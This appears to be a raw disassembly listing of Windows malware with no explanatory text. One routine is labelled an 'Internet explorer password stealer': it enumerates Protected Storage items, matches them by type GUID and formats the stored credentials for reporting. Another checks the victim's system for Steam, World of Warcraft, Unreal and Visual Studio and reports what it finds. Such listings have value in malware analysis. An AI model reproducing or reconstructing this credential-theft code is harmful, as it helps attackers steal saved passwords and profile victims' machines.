sub_414EB0 endp
; =============== S U B R O U T I N E =======================================
sub_414EF4 proc near ; DATA XREF: sub_415AF0+40o
mov eax, offset loc_416FDD
call sub_416E10
sub esp, 0FFCh
push esi
push edi
push 1A7h
push dword ptr [ebp+8]
lea eax, [ebp-0BF0h]
push eax
call sub_416B52 ; memcpy
add esp, 0Ch
push dword ptr [ebp+8]
call sub_416B4C ; free
pop ecx
and dword ptr [ebp-0A00h], 0
and dword ptr [ebp-4], 0
cmp dword ptr [ebp-0A00h], 0
jz short loc_414F4C
mov eax, [ebp-0A00h]
mov ecx, [ebp-0A00h]
mov ecx, [ecx]
push eax
call dword ptr [ecx+8]
loc_414F4C: ; CODE XREF: sub_414EF4+44j
and dword ptr [ebp-0A00h], 0
push 0
push 0
push 0
lea eax, [ebp-0A00h]
push eax
call dword_41DE80
mov [ebp-0DF4h], eax
cmp dword ptr [ebp-0DF4h], 0
jge short loc_414FB2
push dword ptr [ebp-0BF0h]
call sub_409763
pop ecx
and dword ptr [ebp-0FD0h], 0
or dword ptr [ebp-4], 0FFFFFFFFh
cmp dword ptr [ebp-0A00h], 0
jz short loc_414FA7
mov eax, [ebp-0A00h]
mov ecx, [ebp-0A00h]
mov ecx, [ecx]
push eax
call dword ptr [ecx+8]
loc_414FA7: ; CODE XREF: sub_414EF4+9Fj
mov eax, [ebp-0FD0h]
jmp loc_415AE0
; ---------------------------------------------------------------------------
loc_414FB2: ; CODE XREF: sub_414EF4+7Fj
and dword ptr [ebp-10h], 0
mov byte ptr [ebp-4], 1
cmp dword ptr [ebp-10h], 0
jz short loc_414FCC
mov eax, [ebp-10h]
mov ecx, [ebp-10h]
mov ecx, [ecx]
push eax
call dword ptr [ecx+8]
loc_414FCC: ; CODE XREF: sub_414EF4+CAj
and dword ptr [ebp-10h], 0
cmp dword ptr [ebp-0A00h], 0
jnz short loc_414FE3
push 80004003h
call sub_416E40
loc_414FE3: ; CODE XREF: sub_414EF4+E3j
mov eax, [ebp-0A00h]
mov [ebp-0FE0h], eax
lea eax, [ebp-10h]
push eax
push 0
push 0
mov eax, [ebp-0FE0h]
mov eax, [eax]
push dword ptr [ebp-0FE0h]
call dword ptr [eax+38h]
mov [ebp-0FDCh], eax
cmp dword ptr [ebp-0FDCh], 0
jge short loc_41502D
push offset dword_41D598
push dword ptr [ebp-0FE0h]
push dword ptr [ebp-0FDCh]
call sub_416E4E
loc_41502D: ; CODE XREF: sub_414EF4+121j
mov eax, [ebp-0FDCh]
mov [ebp-0DF4h], eax
cmp dword ptr [ebp-0DF4h], 0
jge short loc_415095
push dword ptr [ebp-0BF0h]
call sub_409763
pop ecx
and dword ptr [ebp-0FD4h], 0
and byte ptr [ebp-4], 0
cmp dword ptr [ebp-10h], 0
jz short loc_41506B
mov eax, [ebp-10h]
mov ecx, [ebp-10h]
mov ecx, [ecx]
push eax
call dword ptr [ecx+8]
loc_41506B: ; CODE XREF: sub_414EF4+169j
or dword ptr [ebp-4], 0FFFFFFFFh
cmp dword ptr [ebp-0A00h], 0
jz short loc_41508A
mov eax, [ebp-0A00h]
mov ecx, [ebp-0A00h]
mov ecx, [ecx]
push eax
call dword ptr [ecx+8]
loc_41508A: ; CODE XREF: sub_414EF4+182j
mov eax, [ebp-0FD4h]
jmp loc_415AE0
; ---------------------------------------------------------------------------
loc_415095: ; CODE XREF: sub_414EF4+14Cj
mov eax, [ebp-0BF0h]
push dword ptr [eax]
push offset unk_41D564
lea eax, [ebp-0BECh]
push eax
call sub_40D53F
add esp, 0Ch
and dword ptr [ebp-214h], 0
mov al, [ebp-0A54h]
mov [ebp-0A14h], al
and byte ptr [ebp-0A54h], 0
loc_4150CB: ; CODE XREF: sub_414EF4:loc_415A54j
cmp dword ptr [ebp-10h], 0
jnz short loc_4150DB
push 80004003h
call sub_416E40
loc_4150DB: ; CODE XREF: sub_414EF4+1DBj
push 0
lea eax, [ebp-0A10h]
push eax
push 1
mov eax, [ebp-10h]
mov [ebp-1000h], eax
mov eax, [ebp-1000h]
mov eax, [eax]
push dword ptr [ebp-1000h]
call dword ptr [eax+0Ch]
test eax, eax
jnz loc_415A59
mov eax, [ebp-0BF0h]
cmp dword ptr [eax+4], 0
jz short loc_415119
jmp loc_415A59
; ---------------------------------------------------------------------------
loc_415119: ; CODE XREF: sub_414EF4+21Ej
sub esp, 10h
lea esi, [ebp-0A10h]
mov edi, esp
movsd
movsd
movsd
movsd
push offset asc_41D560 ; "%x"
lea eax, [ebp-0A48h]
push eax
call ds:dword_4171E0 ; wsprintfA
add esp, 18h
and dword ptr [ebp-0DF8h], 0
mov byte ptr [ebp-4], 2
cmp dword ptr [ebp-0DF8h], 0
jz short loc_415163
mov eax, [ebp-0DF8h]
mov ecx, [ebp-0DF8h]
mov ecx, [ecx]
push eax
call dword ptr [ecx+8]
loc_415163: ; CODE XREF: sub_414EF4+25Bj
and dword ptr [ebp-0DF8h], 0
cmp dword ptr [ebp-0A00h], 0
jnz short loc_41517D
push 80004003h
call sub_416E40
loc_41517D: ; CODE XREF: sub_414EF4+27Dj
mov eax, [ebp-0A00h]
mov [ebp-0FE8h], eax
lea eax, [ebp-0DF8h]
push eax
push 0
lea eax, [ebp-0A10h]
push eax
push 0
mov eax, [ebp-0FE8h]
mov eax, [eax]
push dword ptr [ebp-0FE8h]
call dword ptr [eax+3Ch]
mov [ebp-0FE4h], eax
cmp dword ptr [ebp-0FE4h], 0
jge short loc_4151D1
push offset dword_41D598
push dword ptr [ebp-0FE8h]
push dword ptr [ebp-0FE4h]
call sub_416E4E
loc_4151D1: ; CODE XREF: sub_414EF4+2C5j
mov eax, [ebp-0FE4h]
mov [ebp-0DF4h], eax
loc_4151DD: ; CODE XREF: sub_414EF4:loc_415A30j
cmp dword ptr [ebp-0DF8h], 0
jnz short loc_4151F0
push 80004003h
call sub_416E40
loc_4151F0: ; CODE XREF: sub_414EF4+2F0j
push 0
lea eax, [ebp-0E08h]
push eax
push 1
mov eax, [ebp-0DF8h]
mov [ebp-1004h], eax
mov eax, [ebp-1004h]
mov eax, [eax]
push dword ptr [ebp-1004h]
call dword ptr [eax+0Ch]
test eax, eax
jnz loc_415A35
and dword ptr [ebp-0E14h], 0
mov byte ptr [ebp-4], 3
cmp dword ptr [ebp-0E14h], 0
jz short loc_415246
mov eax, [ebp-0E14h]
mov ecx, [ebp-0E14h]
mov ecx, [ecx]
push eax
call dword ptr [ecx+8]
loc_415246: ; CODE XREF: sub_414EF4+33Ej
and dword ptr [ebp-0E14h], 0
cmp dword ptr [ebp-0A00h], 0
jnz short loc_415260
push 80004003h
call sub_416E40
loc_415260: ; CODE XREF: sub_414EF4+360j
mov eax, [ebp-0A00h]
mov [ebp-0FF0h], eax
lea eax, [ebp-0E14h]
push eax
push 0
lea eax, [ebp-0E08h]
push eax
lea eax, [ebp-0A10h]
push eax
push 0
mov eax, [ebp-0FF0h]
mov eax, [eax]
push dword ptr [ebp-0FF0h]
call dword ptr [eax+54h]
mov [ebp-0FECh], eax
cmp dword ptr [ebp-0FECh], 0
jge short loc_4152BB
push offset dword_41D598
push dword ptr [ebp-0FF0h]
push dword ptr [ebp-0FECh]
call sub_416E4E
loc_4152BB: ; CODE XREF: sub_414EF4+3AFj
mov eax, [ebp-0FECh]
mov [ebp-0E10h], eax
loc_4152C7: ; CODE XREF: sub_414EF4+B18j
cmp dword ptr [ebp-0E14h], 0
jnz short loc_4152DA
push 80004003h
call sub_416E40
loc_4152DA: ; CODE XREF: sub_414EF4+3DAj
push 0
lea eax, [ebp-0E0Ch]
push eax
push 1
mov eax, [ebp-0E14h]
mov [ebp-1008h], eax
mov eax, [ebp-1008h]
mov eax, [eax]
push dword ptr [ebp-1008h]
call dword ptr [eax+0Ch]
test eax, eax
jnz loc_415A11
push dword ptr [ebp-0E0Ch]
push offset aWs ; "%ws"
lea eax, [ebp-210h]
push eax
call ds:dword_4171E0 ; wsprintfA
add esp, 0Ch
and dword ptr [ebp-0E18h], 0
and dword ptr [ebp-0EE8h], 0
and dword ptr [ebp-0EE4h], 0
cmp dword ptr [ebp-0A00h], 0
jnz short loc_41534D
push 80004003h
call sub_416E40
loc_41534D: ; CODE XREF: sub_414EF4+44Dj
mov eax, [ebp-0E0Ch]
mov [ebp-0FFCh], eax
mov eax, [ebp-0A00h]
mov [ebp-0FF8h], eax
push 0
push dword ptr [ebp-0EE4h]
lea eax, [ebp-0EE8h]
push eax
lea eax, [ebp-0E18h]
push eax
push dword ptr [ebp-0FFCh]
lea eax, [ebp-0E08h]
push eax
lea eax, [ebp-0A10h]
push eax
push 0
mov eax, [ebp-0FF8h]
mov eax, [eax]
push dword ptr [ebp-0FF8h]
call dword ptr [eax+44h]
mov [ebp-0FF4h], eax
cmp dword ptr [ebp-0FF4h], 0
jge short loc_4153C7
push offset dword_41D598
push dword ptr [ebp-0FF8h]
push dword ptr [ebp-0FF4h]
call sub_416E4E
loc_4153C7: ; CODE XREF: sub_414EF4+4BBj
mov eax, [ebp-0FF4h]
mov [ebp-0E10h], eax
push dword ptr [ebp-0EE8h]
call sub_416B40 ; strlen
pop ecx
mov ecx, [ebp-0E18h]
dec ecx
cmp eax, ecx
jnb loc_415477
and dword ptr [ebp-0EECh], 0
and dword ptr [ebp-0EF0h], 0
jmp short loc_41540C
; ---------------------------------------------------------------------------
loc_4153FE: ; CODE XREF: sub_414EF4+571j
mov eax, [ebp-0EF0h]
inc eax
inc eax
mov [ebp-0EF0h], eax
loc_41540C: ; CODE XREF: sub_414EF4+508j
mov eax, [ebp-0EF0h]
cmp eax, [ebp-0E18h]
jnb short loc_415467
mov eax, [ebp-0EE8h]
add eax, [ebp-0EF0h]
movzx eax, byte ptr [eax]
test eax, eax
jnz short loc_41543D
mov eax, [ebp-0EECh]
mov byte ptr [ebp+eax-9FCh], 2Ch
jmp short loc_415458
; ---------------------------------------------------------------------------
loc_41543D: ; CODE XREF: sub_414EF4+537j
mov eax, [ebp-0EE8h]
add eax, [ebp-0EF0h]
mov ecx, [ebp-0EECh]
mov al, [eax]
mov [ebp+ecx-9FCh], al
loc_415458: ; CODE XREF: sub_414EF4+547j
mov eax, [ebp-0EECh]
inc eax
mov [ebp-0EECh], eax
jmp short loc_4153FE
; ---------------------------------------------------------------------------
loc_415467: ; CODE XREF: sub_414EF4+524j
mov eax, [ebp-0EECh]
and byte ptr [ebp+eax-9FDh], 0
jmp short loc_415492
; ---------------------------------------------------------------------------
loc_415477: ; CODE XREF: sub_414EF4+4F4j
push dword ptr [ebp-0EE8h]
push offset dword_418B64
lea eax, [ebp-9FCh]
push eax
call ds:dword_4171E0 ; wsprintfA
add esp, 0Ch
loc_415492: ; CODE XREF: sub_414EF4+581j
push offset byte_41DE30
lea eax, [ebp-7FCh]
push eax
call ds:dword_4170FC ; lstrcpy
push offset byte_41DE30
lea eax, [ebp-0DF0h]
push eax
call ds:dword_4170FC ; lstrcpy
push offset a220d5cc1 ; "220d5cc1"
lea eax, [ebp-0A48h]
push eax
call ds:dword_417108 ; lstrcmp
test eax, eax
jnz short loc_41550C
mov eax, [ebp-214h]
inc eax
mov [ebp-214h], eax
movsx eax, byte ptr [ebp-0A57h]
test eax, eax
jnz short loc_41550C
lea eax, [ebp-9FCh]
push eax
lea eax, [ebp-210h]
push eax
push dword ptr [ebp-214h]
push offset dword_41D510
lea eax, [ebp-0BECh]
push eax
call sub_40D53F
add esp, 14h
loc_41550C: ; CODE XREF: sub_414EF4+5D6j
; sub_414EF4+5EEj
push offset a5e7e8100 ; "5e7e8100"
lea eax, [ebp-0A48h]
push eax
call ds:dword_417108 ; lstrcmp
test eax, eax
jnz loc_4155CE
push offset byte_41DE30
lea eax, [ebp-0EE0h]
push eax
call ds:dword_4170FC ; lstrcpy
push offset asc_4184FC ; ":"
lea eax, [ebp-9FCh]
push eax
call sub_416BA8 ; strstr
pop ecx
pop ecx
test eax, eax
jz short loc_415587
push offset asc_4184FC ; ":"
lea eax, [ebp-9FCh]
push eax
call sub_416BA8 ; strstr
pop ecx
pop ecx
inc eax
push eax
lea eax, [ebp-0EE0h]
push eax
call ds:dword_4170FC ; lstrcpy
push offset asc_4184FC ; ":"
lea eax, [ebp-9FCh]
push eax
call sub_416BA8 ; strstr
pop ecx
pop ecx
and byte ptr [eax], 0
loc_415587: ; CODE XREF: sub_414EF4+659j
mov eax, [ebp-214h]
inc eax
mov [ebp-214h], eax
push 3E8h
call ds:dword_41709C ; Sleep
lea eax, [ebp-0EE0h]
push eax
lea eax, [ebp-9FCh]
push eax
lea eax, [ebp-210h]
push eax
push dword ptr [ebp-214h]
push offset dword_41D4AC
lea eax, [ebp-0BECh]
push eax
call sub_40D53F
add esp, 18h
loc_4155CE: ; CODE XREF: sub_414EF4+62Cj
push offset aB9819c52 ; "b9819c52"
lea eax, [ebp-0A48h]
push eax
call ds:dword_417108 ; lstrcmp
test eax, eax
jnz loc_415842
and dword ptr [ebp-0FC8h], 0
mov dword ptr [ebp-0EFCh], 1
and dword ptr [ebp-0FCCh], 0
jmp short loc_415610
; ---------------------------------------------------------------------------
loc_415602: ; CODE XREF: sub_414EF4:loc_4156CFj
mov eax, [ebp-0FCCh]
inc eax
inc eax
mov [ebp-0FCCh], eax
loc_415610: ; CODE XREF: sub_414EF4+70Cj
mov eax, [ebp-0FCCh]
cmp eax, [ebp-0E18h]
jnb loc_4156D4
mov eax, [ebp-0EE8h]
add eax, [ebp-0FCCh]
movzx eax, byte ptr [eax]
test eax, eax
jnz short loc_415652
mov eax, [ebp-0FC8h]
mov byte ptr [ebp+eax-9FCh], 2Ch
mov eax, [ebp-0FC8h]
inc eax
mov [ebp-0FC8h], eax
jmp short loc_4156CF
; ---------------------------------------------------------------------------
loc_415652: ; CODE XREF: sub_414EF4+73Fj
mov eax, [ebp-0EE8h]
add eax, [ebp-0FCCh]
mov al, [eax]
push eax
call ds:dword_4171DC ; IsCharAlphaNumericA
test eax, eax
jnz short loc_4156A7
mov eax, [ebp-0EE8h]
add eax, [ebp-0FCCh]
movzx eax, byte ptr [eax]
cmp eax, 40h
jz short loc_4156A7
mov eax, [ebp-0EE8h]
add eax, [ebp-0FCCh]
movzx eax, byte ptr [eax]
cmp eax, 2Eh
jz short loc_4156A7
mov eax, [ebp-0EE8h]
add eax, [ebp-0FCCh]
movzx eax, byte ptr [eax]
cmp eax, 5Fh
jnz short loc_4156CF
loc_4156A7: ; CODE XREF: sub_414EF4+775j
; sub_414EF4+789j ...
mov eax, [ebp-0EE8h]
add eax, [ebp-0FCCh]
mov ecx, [ebp-0FC8h]
mov al, [eax]
mov [ebp+ecx-9FCh], al
mov eax, [ebp-0FC8h]
inc eax
mov [ebp-0FC8h], eax
loc_4156CF: ; CODE XREF: sub_414EF4+75Cj
; sub_414EF4+7B1j
jmp loc_415602
; ---------------------------------------------------------------------------
loc_4156D4: ; CODE XREF: sub_414EF4+728j
mov eax, [ebp-0FC8h]
and byte ptr [ebp+eax-9FDh], 0
lea eax, [ebp-9FAh]
mov [ebp-0EF4h], eax
and dword ptr [ebp-0EF8h], 0
jmp short loc_415704
; ---------------------------------------------------------------------------
loc_4156F7: ; CODE XREF: sub_414EF4:loc_41583Dj
mov eax, [ebp-0EF8h]
inc eax
mov [ebp-0EF8h], eax
loc_415704: ; CODE XREF: sub_414EF4+801j
mov eax, [ebp-0EE8h]
movzx eax, byte ptr [eax+4]
cmp [ebp-0EF8h], eax
jge loc_415842
mov eax, [ebp-0EF4h]
inc eax
push eax
lea eax, [ebp-0FC4h]
push eax
call ds:dword_4170FC ; lstrcpy
push offset dword_41D49C
lea eax, [ebp-0FC4h]
push eax
call sub_416BA8 ; strstr
pop ecx
pop ecx
test eax, eax
jz short loc_41575C
push offset dword_41D49C
lea eax, [ebp-0FC4h]
push eax
call sub_416BA8 ; strstr
pop ecx
pop ecx
and byte ptr [eax], 0
loc_41575C: ; CODE XREF: sub_414EF4+850j
push offset dword_41D49C
mov eax, [ebp-0EF4h]
inc eax
push eax
call sub_416BA8 ; strstr
pop ecx
pop ecx
test eax, eax
jz short loc_415798
push offset dword_41D49C
mov eax, [ebp-0EF4h]
inc eax
push eax
call sub_416BA8 ; strstr
pop ecx
pop ecx
inc eax
inc eax
push eax
lea eax, [ebp-0F60h]
push eax
call ds:dword_4170FC ; lstrcpy
loc_415798: ; CODE XREF: sub_414EF4+87Ej
push offset dword_41D49C
lea eax, [ebp-0F60h]
push eax
call sub_416BA8 ; strstr
pop ecx
pop ecx
test eax, eax
jz short loc_4157C5
push offset dword_41D49C
lea eax, [ebp-0F60h]
push eax
call sub_416BA8 ; strstr
pop ecx
pop ecx
and byte ptr [eax], 0
loc_4157C5: ; CODE XREF: sub_414EF4+8B9j
push offset dword_41D49C
mov eax, [ebp-0EF4h]
inc eax
push eax
call sub_416BA8 ; strstr
pop ecx
pop ecx
mov esi, eax
lea eax, [ebp-0F60h]
push eax
call ds:dword_41703C ; lstrlen
lea eax, [esi+eax+9]
mov [ebp-0EF4h], eax
mov eax, [ebp-214h]
inc eax
mov [ebp-214h], eax
push 3E8h
call ds:dword_41709C ; Sleep
movsx eax, byte ptr [ebp-0A57h]
test eax, eax
jnz short loc_41583D
lea eax, [ebp-0F60h]
push eax
lea eax, [ebp-0FC4h]
push eax
push dword ptr [ebp-214h]
push offset dword_41D45C
lea eax, [ebp-0BECh]
push eax
call sub_40D53F
add esp, 14h
loc_41583D: ; CODE XREF: sub_414EF4+91Fj
jmp loc_4156F7
; ---------------------------------------------------------------------------
loc_415842: ; CODE XREF: sub_414EF4+6EEj
; sub_414EF4+820j
push offset aE161255a ; "e161255a"
lea eax, [ebp-0A48h]
push eax
call ds:dword_417108 ; lstrcmp
test eax, eax
jnz loc_4159E0
push offset aStringindex ; "StringIndex"
lea eax, [ebp-210h]
push eax
call sub_416BA8 ; strstr
pop ecx
pop ecx
test eax, eax
jnz loc_4159E0
push offset dword_41D43C
lea eax, [ebp-210h]
push eax
call sub_416BA8 ; strstr
pop ecx
pop ecx
test eax, eax
jz short loc_4158A4
push offset dword_41D43C
lea eax, [ebp-210h]
push eax
call sub_416BA8 ; strstr
pop ecx
pop ecx
and byte ptr [eax], 0
loc_4158A4: ; CODE XREF: sub_414EF4+998j
push 8
lea eax, [ebp-210h]
push eax
lea eax, [ebp-0EE0h]
push eax
call ds:dword_417100 ; lstrcpyn
push offset dword_41D434
lea eax, [ebp-0EE0h]
push eax
call sub_416BA8 ; strstr
pop ecx
pop ecx
test eax, eax
jnz short loc_415938
push offset dword_41D42C
lea eax, [ebp-0EE0h]
push eax
call sub_416BA8 ; strstr
pop ecx
pop ecx
test eax, eax
jnz short loc_415938
mov eax, [ebp-214h]
inc eax
mov [ebp-214h], eax
push 3E8h
call ds:dword_41709C ; Sleep
movsx eax, byte ptr [ebp-0A57h]
test eax, eax
jnz short loc_415933
lea eax, [ebp-9FCh]
push eax
lea eax, [ebp-210h]
push eax
push dword ptr [ebp-214h]
push offset dword_41D3E4
lea eax, [ebp-0BECh]
push eax
call sub_40D53F
add esp, 14h
loc_415933: ; CODE XREF: sub_414EF4+A15j
jmp loc_4159E0
; ---------------------------------------------------------------------------
loc_415938: ; CODE XREF: sub_414EF4+9DBj
; sub_414EF4+9F2j
push offset byte_41DE30
lea eax, [ebp-0EE0h]
push eax
call ds:dword_4170FC ; lstrcpy
push offset dword_41D49C
lea eax, [ebp-9FCh]
push eax
call sub_416BA8 ; strstr
pop ecx
pop ecx
test eax, eax
jz short loc_415999
push offset dword_41D49C
lea eax, [ebp-9FCh]
push eax
call sub_416BA8 ; strstr
pop ecx
pop ecx
inc eax
push eax
lea eax, [ebp-0EE0h]
push eax
call ds:dword_4170FC ; lstrcpy
push offset dword_41D49C
lea eax, [ebp-9FCh]
push eax
call sub_416BA8 ; strstr
pop ecx
pop ecx
and byte ptr [eax], 0
loc_415999: ; CODE XREF: sub_414EF4+A6Bj
mov eax, [ebp-214h]
inc eax
mov [ebp-214h], eax
push 3E8h
call ds:dword_41709C ; Sleep
lea eax, [ebp-0EE0h]
push eax
lea eax, [ebp-9FCh]
push eax
lea eax, [ebp-210h]
push eax
push dword ptr [ebp-214h]
push offset dword_41D388
lea eax, [ebp-0BECh]
push eax
call sub_40D53F
add esp, 18h
loc_4159E0: ; CODE XREF: sub_414EF4+962j
; sub_414EF4+97Dj ...
push 200h
push 0
lea eax, [ebp-210h]
push eax
call sub_416B6A ; memset
add esp, 0Ch
push 200h
push 0
lea eax, [ebp-9FCh]
push eax
call sub_416B6A ; memset
add esp, 0Ch
jmp loc_4152C7
; ---------------------------------------------------------------------------
loc_415A11: ; CODE XREF: sub_414EF4+410j
mov byte ptr [ebp-4], 2
cmp dword ptr [ebp-0E14h], 0
jz short loc_415A30
mov eax, [ebp-0E14h]
mov ecx, [ebp-0E14h]
mov ecx, [ecx]
push eax
call dword ptr [ecx+8]
loc_415A30: ; CODE XREF: sub_414EF4+B28j
jmp loc_4151DD
; ---------------------------------------------------------------------------
loc_415A35: ; CODE XREF: sub_414EF4+326j
mov byte ptr [ebp-4], 1
cmp dword ptr [ebp-0DF8h], 0
jz short loc_415A54
mov eax, [ebp-0DF8h]
mov ecx, [ebp-0DF8h]
mov ecx, [ecx]
push eax
call dword ptr [ecx+8]
loc_415A54: ; CODE XREF: sub_414EF4+B4Cj
jmp loc_4150CB
; ---------------------------------------------------------------------------
loc_415A59: ; CODE XREF: sub_414EF4+20Ej
; sub_414EF4+220j
mov al, [ebp-0A14h]
mov [ebp-0A54h], al
push 3E8h
call ds:dword_41709C ; Sleep
push dword ptr [ebp-214h]
mov eax, [ebp-0BF0h]
push dword ptr [eax]
push offset unk_41D34C
lea eax, [ebp-0BECh]
push eax
call sub_40D53F
add esp, 10h
push dword ptr [ebp-0BF0h]
call sub_409763
pop ecx
and dword ptr [ebp-0FD8h], 0
and byte ptr [ebp-4], 0
cmp dword ptr [ebp-10h], 0
jz short loc_415ABB
mov eax, [ebp-10h]
mov ecx, [ebp-10h]
mov ecx, [ecx]
push eax
call dword ptr [ecx+8]
loc_415ABB: ; CODE XREF: sub_414EF4+BB9j
or dword ptr [ebp-4], 0FFFFFFFFh
cmp dword ptr [ebp-0A00h], 0
jz short loc_415ADA
mov eax, [ebp-0A00h]
mov ecx, [ebp-0A00h]
mov ecx, [ecx]
push eax
call dword ptr [ecx+8]
loc_415ADA: ; CODE XREF: sub_414EF4+BD2j
mov eax, [ebp-0FD8h]
loc_415AE0: ; CODE XREF: sub_414EF4+B9j
; sub_414EF4+19Cj
mov ecx, [ebp-0Ch]
mov large fs:0, ecx
pop edi
pop esi
leave
retn 4
sub_414EF4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415AF0 proc near ; CODE XREF: sub_40A9CF+7Fp
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
cmp dword_41DE80, 0
jnz short loc_415AFF
jmp short locret_415B3D
; ---------------------------------------------------------------------------
loc_415AFF: ; CODE XREF: sub_415AF0+Bj
push 1A7h
call sub_416B46 ; malloc
pop ecx
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jnz short loc_415B15
jmp short locret_415B3D
; ---------------------------------------------------------------------------
loc_415B15: ; CODE XREF: sub_415AF0+21j
push [ebp+arg_0]
mov eax, [ebp+var_4]
add eax, 4
push eax
call sub_405F67
pop ecx
pop ecx
push offset aInternetExplor ; "Internet explorer password stealer"
push 0
push [ebp+var_4]
push offset sub_414EF4
call sub_4095A4
add esp, 10h
locret_415B3D: ; CODE XREF: sub_415AF0+Dj
; sub_415AF0+23j
leave
retn
sub_415AF0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415B3F proc near ; CODE XREF: .text:00416FB6p
; .text:00416FBFp ...
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], ecx
mov eax, [ebp+var_4]
cmp dword ptr [eax], 0
jz short locret_415B5E
mov eax, [ebp+var_4]
mov eax, [eax]
mov ecx, [ebp+var_4]
mov ecx, [ecx]
mov ecx, [ecx]
push eax
call dword ptr [ecx+8]
locret_415B5E: ; CODE XREF: sub_415B3F+Dj
leave
retn
sub_415B3F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415B60 proc near ; DATA XREF: sub_415DFD+35o
var_5D8 = dword ptr -5D8h
var_5D4 = dword ptr -5D4h
var_5D0 = dword ptr -5D0h
var_5CC = dword ptr -5CCh
var_5C8 = dword ptr -5C8h
var_5C4 = dword ptr -5C4h
var_5C0 = dword ptr -5C0h
var_5BC = dword ptr -5BCh
var_5B8 = dword ptr -5B8h
var_5B4 = byte ptr -5B4h
var_41C = byte ptr -41Ch
var_410 = dword ptr -410h
var_40C = dword ptr -40Ch
var_408 = dword ptr -408h
var_404 = dword ptr -404h
var_400 = byte ptr -400h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 5D8h
push 1A7h
push [ebp+arg_0]
lea eax, [ebp+var_5B8]
push eax
call sub_416B52 ; memcpy
add esp, 0Ch
push [ebp+arg_0]
call sub_416B4C ; free
pop ecx
and [ebp+var_5C4], 0
and [ebp+var_410], 0
and [ebp+var_40C], 0
and [ebp+var_408], 0
and [ebp+var_404], 0
and [ebp+var_5BC], 0
jmp short loc_415BC2
; ---------------------------------------------------------------------------
loc_415BB5: ; CODE XREF: sub_415B60:loc_415C50j
mov eax, [ebp+var_5BC]
inc eax
mov [ebp+var_5BC], eax
loc_415BC2: ; CODE XREF: sub_415B60+53j
cmp [ebp+var_5BC], 0FFFFh
jnb loc_415C55
push 400h
lea eax, [ebp+var_400]
push eax
push [ebp+var_5BC]
call ds:dword_4171E4 ; GetWindowTextA
push 7
push offset aUnreal3 ; "Unreal3"
lea eax, [ebp+var_400]
push eax
call sub_416F80 ; _strnicmp
add esp, 0Ch
test eax, eax
jnz short loc_415C0E
mov [ebp+var_410], 1
loc_415C0E: ; CODE XREF: sub_415B60+A2j
push offset aWorldOfWarcraf ; "World Of Warcraft"
lea eax, [ebp+var_400]
push eax
call sub_416DDE ; strcmp
pop ecx
pop ecx
test eax, eax
jnz short loc_415C2F
mov [ebp+var_408], 1
loc_415C2F: ; CODE XREF: sub_415B60+C3j
push offset aConquer ; "[Conquer]"
lea eax, [ebp+var_400]
push eax
call sub_416DDE ; strcmp
pop ecx
pop ecx
test eax, eax
jnz short loc_415C50
mov [ebp+var_404], 1
loc_415C50: ; CODE XREF: sub_415B60+E4j
jmp loc_415BB5
; ---------------------------------------------------------------------------
loc_415C55: ; CODE XREF: sub_415B60+6Cj
and [ebp+var_5C0], 0
lea eax, [ebp+var_5C0]
push eax
push 20019h
push 0
push offset aSoftwareMicr_0 ; "SOFTWARE\\Microsoft\\VisualStudio\\6.0\\Set"...
push 80000002h
call ds:dword_417008 ; RegOpenKeyExA
test eax, eax
jnz short loc_415C88
mov [ebp+var_5C4], 1
loc_415C88: ; CODE XREF: sub_415B60+11Cj
push [ebp+var_5C0]
call ds:dword_417028 ; RegCloseKey
and [ebp+var_5C0], 0
lea eax, [ebp+var_5C0]
push eax
push 20019h
push 0
push offset aSoftwareValveS ; "Software\\Valve\\Steam"
push 80000001h
call ds:dword_417008 ; RegOpenKeyExA
test eax, eax
jnz short loc_415CC7
mov [ebp+var_40C], 1
loc_415CC7: ; CODE XREF: sub_415B60+15Bj
push [ebp+var_5C0]
call ds:dword_417028 ; RegCloseKey
movsx eax, [ebp+var_41C]
test eax, eax
jz short loc_415D1E
cmp [ebp+var_410], 0
jnz short loc_415D1E
cmp [ebp+var_5C4], 0
jnz short loc_415D1E
cmp [ebp+var_40C], 0
jnz short loc_415D1E
cmp [ebp+var_408], 0
jnz short loc_415D1E
cmp [ebp+var_404], 0
jnz short loc_415D1E
push [ebp+var_5B8]
call sub_409763
pop ecx
xor eax, eax
jmp locret_415DF9
; ---------------------------------------------------------------------------
loc_415D1E: ; CODE XREF: sub_415B60+17Cj
; sub_415B60+185j ...
cmp [ebp+var_404], 0
jz short loc_415D33
mov [ebp+var_5C8], offset aYes ; "Yes"
jmp short loc_415D3D
; ---------------------------------------------------------------------------
loc_415D33: ; CODE XREF: sub_415B60+1C5j
mov [ebp+var_5C8], offset aNo ; "No"
loc_415D3D: ; CODE XREF: sub_415B60+1D1j
cmp [ebp+var_408], 0
jz short loc_415D52
mov [ebp+var_5CC], offset aYes ; "Yes"
jmp short loc_415D5C
; ---------------------------------------------------------------------------
loc_415D52: ; CODE XREF: sub_415B60+1E4j
mov [ebp+var_5CC], offset aNo ; "No"
loc_415D5C: ; CODE XREF: sub_415B60+1F0j
cmp [ebp+var_40C], 0
jz short loc_415D71
mov [ebp+var_5D0], offset aYes ; "Yes"
jmp short loc_415D7B
; ---------------------------------------------------------------------------
loc_415D71: ; CODE XREF: sub_415B60+203j
mov [ebp+var_5D0], offset aNo ; "No"
loc_415D7B: ; CODE XREF: sub_415B60+20Fj
cmp [ebp+var_5C4], 0
jz short loc_415D90
mov [ebp+var_5D4], offset aYes ; "Yes"
jmp short loc_415D9A
; ---------------------------------------------------------------------------
loc_415D90: ; CODE XREF: sub_415B60+222j
mov [ebp+var_5D4], offset aNo ; "No"
loc_415D9A: ; CODE XREF: sub_415B60+22Ej
cmp [ebp+var_410], 0
jz short loc_415DAF
mov [ebp+var_5D8], offset aYes ; "Yes"
jmp short loc_415DB9
; ---------------------------------------------------------------------------
loc_415DAF: ; CODE XREF: sub_415B60+241j
mov [ebp+var_5D8], offset aNo ; "No"
loc_415DB9: ; CODE XREF: sub_415B60+24Dj
push [ebp+var_5C8]
push [ebp+var_5CC]
push [ebp+var_5D0]
push [ebp+var_5D4]
push [ebp+var_5D8]
push offset dword_41D5CC
lea eax, [ebp+var_5B4]
push eax
call sub_40D53F
